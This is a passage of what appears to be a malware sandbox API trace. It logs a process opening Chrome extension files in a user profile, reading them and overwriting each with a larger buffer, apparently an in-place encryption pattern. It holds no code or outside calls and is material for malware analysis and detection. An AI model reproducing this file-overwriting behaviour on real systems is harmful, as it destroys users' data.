lpMultiByteStr="topbar_floating_button_maximize.png", lpUsedDefaultChar=0x0) returned 35 [0055.379] ReadFile (in: hFile=0x1bc, lpBuffer=0x1e36e88, nNumberOfBytesToRead=0xa6, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e36e88*, lpNumberOfBytesRead=0x304f2bc*=0xa6, lpOverlapped=0x0) returned 1 [0055.380] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.380] WriteFile (in: hFile=0x1bc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x62e, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x62e, lpOverlapped=0x0) returned 1 [0055.380] CloseHandle (hObject=0x1bc) returned 1 [0055.380] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.381] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.381] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x269 [0055.381] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.381] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.381] ReleaseMutex (hMutex=0x128) returned 1 [0055.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.381] ReadFile (in: hFile=0x1bc, lpBuffer=0x2629ec8, nNumberOfBytesToRead=0x269, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2629ec8*, lpNumberOfBytesRead=0x304f2bc*=0x269, lpOverlapped=0x0) returned 1 [0055.383] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.383] WriteFile (in: hFile=0x1bc, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7f1, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x304f2d0*=0x7f1, lpOverlapped=0x0) returned 1 [0055.383] CloseHandle (hObject=0x1bc) returned 1 [0055.383] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.384] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.384] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x269 [0055.384] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.384] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.384] ReleaseMutex (hMutex=0x128) returned 1 [0055.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.384] ReadFile (in: hFile=0x1bc, lpBuffer=0x2629ec8, nNumberOfBytesToRead=0x269, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2629ec8*, lpNumberOfBytesRead=0x304f2bc*=0x269, lpOverlapped=0x0) returned 1 [0055.386] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.386] WriteFile (in: hFile=0x1bc, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7f1, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x304f2d0*=0x7f1, lpOverlapped=0x0) returned 1 [0055.386] CloseHandle (hObject=0x1bc) returned 1 [0055.386] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.386] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.386] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x295 [0055.387] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.387] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.387] ReleaseMutex (hMutex=0x128) returned 1 [0055.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.387] ReadFile (in: hFile=0x1bc, lpBuffer=0x2739318, nNumberOfBytesToRead=0x295, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739318*, lpNumberOfBytesRead=0x304f2bc*=0x295, lpOverlapped=0x0) returned 1 [0055.388] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.388] WriteFile (in: hFile=0x1bc, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x81d, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x304f2d0*=0x81d, lpOverlapped=0x0) returned 1 [0055.389] CloseHandle (hObject=0x1bc) returned 1 [0055.389] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.389] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.389] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x2d0 [0055.389] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.389] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.389] ReleaseMutex (hMutex=0x128) returned 1 [0055.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.390] ReadFile (in: hFile=0x1bc, lpBuffer=0x2739318, nNumberOfBytesToRead=0x2d0, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739318*, lpNumberOfBytesRead=0x304f2bc*=0x2d0, lpOverlapped=0x0) returned 1 [0055.391] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.391] WriteFile (in: hFile=0x1bc, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x858, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x304f2d0*=0x858, lpOverlapped=0x0) returned 1 [0055.391] CloseHandle (hObject=0x1bc) returned 1 [0055.392] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.392] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.392] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xec [0055.392] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.392] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.392] ReleaseMutex (hMutex=0x128) returned 1 [0055.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.392] ReadFile (in: hFile=0x1bc, lpBuffer=0x2737b58, nNumberOfBytesToRead=0xec, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737b58*, lpNumberOfBytesRead=0x304f2bc*=0xec, lpOverlapped=0x0) returned 1 [0055.393] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.393] WriteFile (in: hFile=0x1bc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x674, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x674, lpOverlapped=0x0) returned 1 [0055.393] CloseHandle (hObject=0x1bc) returned 1 [0055.394] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.394] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.394] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xe2 [0055.394] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.394] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.394] ReleaseMutex (hMutex=0x128) returned 1 [0055.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.394] ReadFile (in: hFile=0x1bc, lpBuffer=0x25c5178, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5178*, lpNumberOfBytesRead=0x304f2bc*=0xe2, lpOverlapped=0x0) returned 1 [0055.395] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.395] WriteFile (in: hFile=0x1bc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66a, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x66a, lpOverlapped=0x0) returned 1 [0055.395] CloseHandle (hObject=0x1bc) returned 1 [0055.396] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.397] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.397] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xde [0055.397] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.397] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.397] ReleaseMutex (hMutex=0x128) returned 1 [0055.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.397] ReadFile (in: hFile=0x1bc, lpBuffer=0x25c5178, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5178*, lpNumberOfBytesRead=0x304f2bc*=0xde, lpOverlapped=0x0) returned 1 [0055.398] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.398] WriteFile (in: hFile=0x1bc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x666, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x666, lpOverlapped=0x0) returned 1 [0055.398] CloseHandle (hObject=0x1bc) returned 1 [0055.398] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.399] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.399] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x130 [0055.399] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.399] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.399] ReleaseMutex (hMutex=0x128) returned 1 [0055.399] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.399] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.399] ReadFile (in: hFile=0x1bc, lpBuffer=0x262e0b8, nNumberOfBytesToRead=0x130, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x262e0b8*, lpNumberOfBytesRead=0x304f2bc*=0x130, lpOverlapped=0x0) returned 1 [0055.400] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.400] WriteFile (in: hFile=0x1bc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6b8, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x6b8, lpOverlapped=0x0) returned 1 [0055.400] CloseHandle (hObject=0x1bc) returned 1 [0055.400] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.401] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.401] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xce17 [0055.401] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.401] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.401] ReleaseMutex (hMutex=0x128) returned 1 [0055.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cast_sender.js", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0055.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cast_sender.js", cchWideChar=14, lpMultiByteStr=0x1e6316c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cast_sender.js", lpUsedDefaultChar=0x0) returned 14 [0055.401] ReadFile (in: hFile=0x1bc, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0055.403] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xbe17 [0055.403] ReadFile (in: hFile=0x1bc, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.404] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xbe17 [0055.404] WriteFile (in: hFile=0x1bc, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0055.404] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0055.404] WriteFile (in: hFile=0x1bc, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0055.404] CloseHandle (hObject=0x1bc) returned 1 [0055.405] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.405] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.405] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: 